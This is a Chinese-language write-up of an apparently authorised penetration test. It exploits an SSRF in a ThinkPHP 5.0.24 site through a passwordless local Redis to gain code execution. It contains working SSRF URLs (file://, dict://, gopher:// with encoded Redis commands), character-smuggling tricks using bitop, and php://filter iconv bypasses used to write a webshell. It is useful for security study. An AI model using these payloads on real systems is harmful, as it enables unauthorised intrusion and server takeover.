1. 首页
  2. 渗透测试

一次“SSRF–>RCE”的艰难利用

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

前言

一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有几处比较有意思的地方,抽象出来与大家分享。

发现SSRF

目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:

public function httpGet($url=""){

        $curl = curl_init();

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 8);
        //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
        curl_setopt($curl, CURLOPT_URL, $url);

        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }

利用SSRF漏洞读取ThinkPHP5配置文件:http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

一次“SSRF-->RCE”的艰难利用

如上图所示,目标业务系统采用Redis缓存数据,且密码为空。

利用gopher协议尝试获取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明(后期复盘时推测为疑似开启了php短标签导致语法错误)

一次“SSRF-->RCE”的艰难利用

尝试利用dict协议,成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

一次“SSRF-->RCE”的艰难利用

尝试Redis 写Shell
上述信息中显示,Redis服务的PID 为3517,查看/proc/3517/status文件。

其Redis服务用户权限为Redis

而目标Web服务器为Nginx,其用户权限为www-data,故利用Redis写shell,执行flushall操作后可能无法直接还原数据,需要通过本地提权获得ROOT用户。由于存在不确定性,故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时

dict://127.0.0.1:6379/set d  '<?php phpinfo();?>'

无法使用“?”符号,如下图所示

一次“SSRF-->RCE”的艰难利用

翻阅Redis文档,发现可以使用bitop命令

bitop知识相关链接地址为:https://redis.io/commands/bitop,该命令可以对Redis缓存值按位计算并获取结果保存,如下图所示:

一次“SSRF-->RCE”的艰难利用

执行save操作后访问目标发现回显500错误,猜测原因可能如下:

目标redis数据过大(目标存在10w+ keys),导致超过PHP 执行文件大小;

可能是数据中存在与PHP代码相似数据,解析出现语法错误,导致无法执行。

尝利用ThinkPHP反序列化


查看ThinkPHP的Redis的获取数据代码,发现如果值以think_serialize:开头就可以触发反序列化。

一次“SSRF-->RCE”的艰难利用

目标ThinkPHP的版本为 5.0.24,该版本存在已知反序列化写文件漏洞,相关漏洞细节链接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码,直接生成的反序列化数据如下(数据前加上了think_serialize:)

一次“SSRF-->RCE”的艰难利用

试发现由于反序列化数据流中存在\x00,导致程序报错,如下图所示:

一次“SSRF-->RCE”的艰难利用

测试发现反序列化数据流中存在“ : ” 符号,dict协议无法传输。

一次“SSRF-->RCE”的艰难利用

结合bitop not命令,先对数据进行取反,进入redis后,再取反,得到真正的反序列化数据。过程下图所示

一次“SSRF-->RCE”的艰难利用

至此,只要访问代码中触发缓存的点即可触发ThinkPHP5反序列化。

修改反序列化利用代码

ThinkPHP反序列化漏洞最终的写入点为

file_put_contents($a,'<?php exit();’.$a)

需要使用php://filter协议来绕过,原有漏洞利用代码:

php://filter/write=string.rot13/resource=xx<?php使用的rot13反转,虽然绕过了exit();但是会导致输出文件出现<?cur

如下图所示

一次“SSRF-->RCE”的艰难利用

经测试目标返回500,推测是开启了php短标签导致语法错误,这估计也是前面Redis写shell出现 500状态码的原因。

经过大量尝试,最终发现使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd该iconv.UCS-4LE.UCS-4BE 函数会将目标4位一反转,从而绕过短标签。

一次“SSRF-->RCE”的艰难利用
一次“SSRF-->RCE”的艰难利用

但测试发现目标关键文件始终为空,而本地却可以生成。测试使用写入数据为aaaa仍为空。图为本地生成的关键文件

一次“SSRF-->RCE”的艰难利用

猜测目标开启了php strict模式,关键文件的总字符数不能被4整除(除后余2,如果添加2字符,则写入数据不能正常显示为shell)导致写入为空。

最后尝试php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。iconv.UCS-2LE.UCS-2BE为2位一反转。

gopher协议再验证

重新测试gopher协议。最后发现gopher协议会自动url解码一次。

一次“SSRF-->RCE”的艰难利用

通过nc 对比gopher和dict协议后发现,dict会自动加上quit命令 XD

一次“SSRF-->RCE”的艰难利用

于是成功让gopher有回显,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit如下图所示:

一次“SSRF-->RCE”的艰难利用

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit时,仍然超时,猜测可能被截断,但是对比nc数据包发现和发送数据一致。

一次“SSRF-->RCE”的艰难利用

尝试将数据包直接导入redis

一次“SSRF-->RCE”的艰难利用

发现并没有修改成功,尝试导入redis-cli

一次“SSRF-->RCE”的艰难利用

修改成aa?那么真相只有一个 -> 我是菜鸡

redis-cli 的命令会被转化。如下图所示:

一次“SSRF-->RCE”的艰难利用

于是使用如上图的方式即可传入\x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

一次“SSRF-->RCE”的艰难利用

其他

经测试也可以使用 Redis bitfield命令(相关命令说明链接:https://redis.io/commands/bitfield)来快速设置字符:

一次“SSRF-->RCE”的艰难利用

本文来自安恒研究院-Pentes7eam,经授权后发布,本文观点不代表立场,转载请联系原作者。

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息